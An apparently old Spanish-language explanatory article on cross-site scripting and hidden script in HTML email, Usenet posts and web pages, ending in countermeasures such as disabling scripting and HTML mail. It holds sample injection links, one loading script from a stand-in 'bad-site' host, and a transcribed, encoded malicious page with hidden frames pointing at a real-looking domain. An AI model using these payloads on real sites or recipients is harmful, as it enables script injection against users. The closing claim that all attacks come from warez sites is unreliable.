La mayoría de los
programas cliente de correo electrónico, los lectores de news así
como los exploradores de Web tienen por lo general la habilidad para
ejecutar script incrustado dentro de las páginas HTML, esto es
particularmente cierto en:
-
Outlook Express
-
Microsoft Outlook
-
Microsoft Explorer
-
Netscape
Así como la mayoría
de los programas que usan Internet, que traen activada por defecto la
opción de ver los documentos en formato HTML
Así por ejemplo,
podríamos recibir un mensaje de las news de Usenet de la forma:
Hello message board.
This is a message
. <SCRIPT>malicious code</SCRIPT>
This is the end of my message.
Sin embargo es poco
probable que alguien ocupe Usenet de este modo, ya que existimos
muchos que configuramos los lectores de news en el modo "solo
texto ASCII" con lo cual quedarían rápidamente descubiertos,
además que la mayoría de los servidores de news pueden detectar y
despojar a los post de ese código malicioso. Algunos tag comuns que
indican códico malicioso incrustado son: <SCRIPT>, <OBJECT>,
<APPLET>, and <EMBED>..
Sin embargo, bien
podría llegarnos un mail en HTML con un código más o menos así:
<A HREF="http://ejemplo.com/comment.cgi?
mycomment=<SCRIPT>malicious code</SCRIPT>"> Click
here</A>
Donde al hacer click,
el programa ejemplo.com se encarga de enviar el código malicioso al
equipo. Si el servidor manda una pagina devuelta incluyendo el valor
de mycomment, el código malicioso se ejecutará inesperadamente en el
equipo del cliente.Por eso hay que tener especial cuidado en NO entrar
a URL desconocidas o no dignas de confianza recibidas por mail o
newsgroups.
Otros tags como <FORM>
pueden usarse para obtener información sensible, modificando el
comportamiento de la form o permitiendo la inclusión inadvertida de
imágenes o frases ofensivas en nuestra página.
A continuación
transcribo parte del código de un virus de esta clase que recibí en
un mail hace tiempo, bastaba con hacer click sobre alguno de los
banners del sitio malicioso (http://coolwebsite..) para que el virus
se ejecutara en el equipo:
<html>
<head>
<script>
var vers =3D navigator=2EappVersion=2EcharAt (0)
if (vers >=3D 3) {
newwin=3Dopen("http://coolwebsite=2Eheha=2Enet/cgi-bin/xfindex2=2Ecgi"=
, "win", "width=3D1,height=3D1,scrollbars=3Dno,menubar=3Dno");
}
</script>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dgb2312">=
<meta name=3D"GENERATOR" content=3D"Microsoft FrontPage 3=2E0">
<title>news</title>
</head>
<frameset rows=3D"0,*,80">
<frame name=3D"top" scrolling=3D"no" noresize target=3D"_blank" src=3D"h=ttp://coolwebsite=2Eheha=2Enet/cgi-bin/xfbkzz=2Ecgi">
<frameset cols=3D"0,*">
<frame name=3D"contents" src=3D"http://coolwebsite=2Eheha=2Enet/cgi-bi=
n/l0576=2Ecgi">
<frame name=3D"main" noresize target=3D"_blank" src=3D"http://coolweb=
site=2Eheha=2Enet/cgi-bin/xfindex=2Ecgi" scrolling=3D"no">
</frameset>
<frame name=3D"bottom" scrolling=3D"no" noresize target=3D"_blank" src=3D=
"http://coolwebsite=2Eheha=2Enet/cgi-bin/xfindex3=2Ecgi">
<noframes>
<body>
<p>Please to </p>
</body>
</noframes>
</frameset>
</html>
Abuso de Confianza
La vulnerabilidad en
estos casos se produce por la violación de la confianza que se tiene
en que las páginas HTML recibidas no tendrán código oculto, en este
caso por ejemplo:
<A HREF="http://example.com/comment.cgi?
mycomment=<SCRIPT SRC='http://bad-site/badfile'></SCRIPT>">
Click here</A>
El atributo SRC en el
tag <SCRIPT> incorpora explicitamente el código de un sitio
malicioso y funciona incluso dentro de un ambiente seguro.
Si el código es
inyectado a la página que se envía por una conexión segura SSL (Secure
Socket Layer), pasará también todas las salvaguardias de seguridad
sin ningún problema. Así, un usuario que hace click sobre un link
malicioso puede además estar traspasando inadvertidamente este
código a otros que accesen a sus páginas modificadas.Inclusive las
cookies pueden ser alteradas para que los ataques sean persistentes en
el tiempo, posibilitando al atacante, por ejemplo, a ingresar a
lugares restringidos del servidor así como distintas violaciones de
las políticas de seguridad establecidas.
Contramedidas
No existen
contramedidas que puedan proteger completamente al tiempo que ofrecen
todas las funcionalidades de los browser y lectores de correo y news.
La mejor medida es sin dua deshabilitar la capacidad de ejecutar
script de los browsers, aunque se tiene el costo de que perdemos una
funcionalidad que para algunos puede resultar importante.
Luego los usuarios
deben evitar la entrada a sitios web sospechosos y principalmente
evitar hacer click en botones o links que reciban por correo
electrónico a menos que tengan absoluta confianza en quien los
envía.
Una medida drástica
(la que yo uso) es deshabilitar la capacidad de recibir correo en HTML,
dejando todos los mensajes recibidos en "solo texto ASCII"
lo mismo con las news recibidas de USENET. Es increíble la cantidad
de codigo oculto que llega en spam y de los graciosos de siempre cada
día a nuestro correo, deshabilitando el HTML nos podemos llevar
varias sorpresas y dificilmente volveremos a tener confianza como para
habilitarlo nuevamente.
Finalmente se debe
evitar la visita a sitios warez o similares frecuentados por hackers
ya que obviamente todos los códigos maliciosos y ataques se originan
en los sitios de esa clase de personas.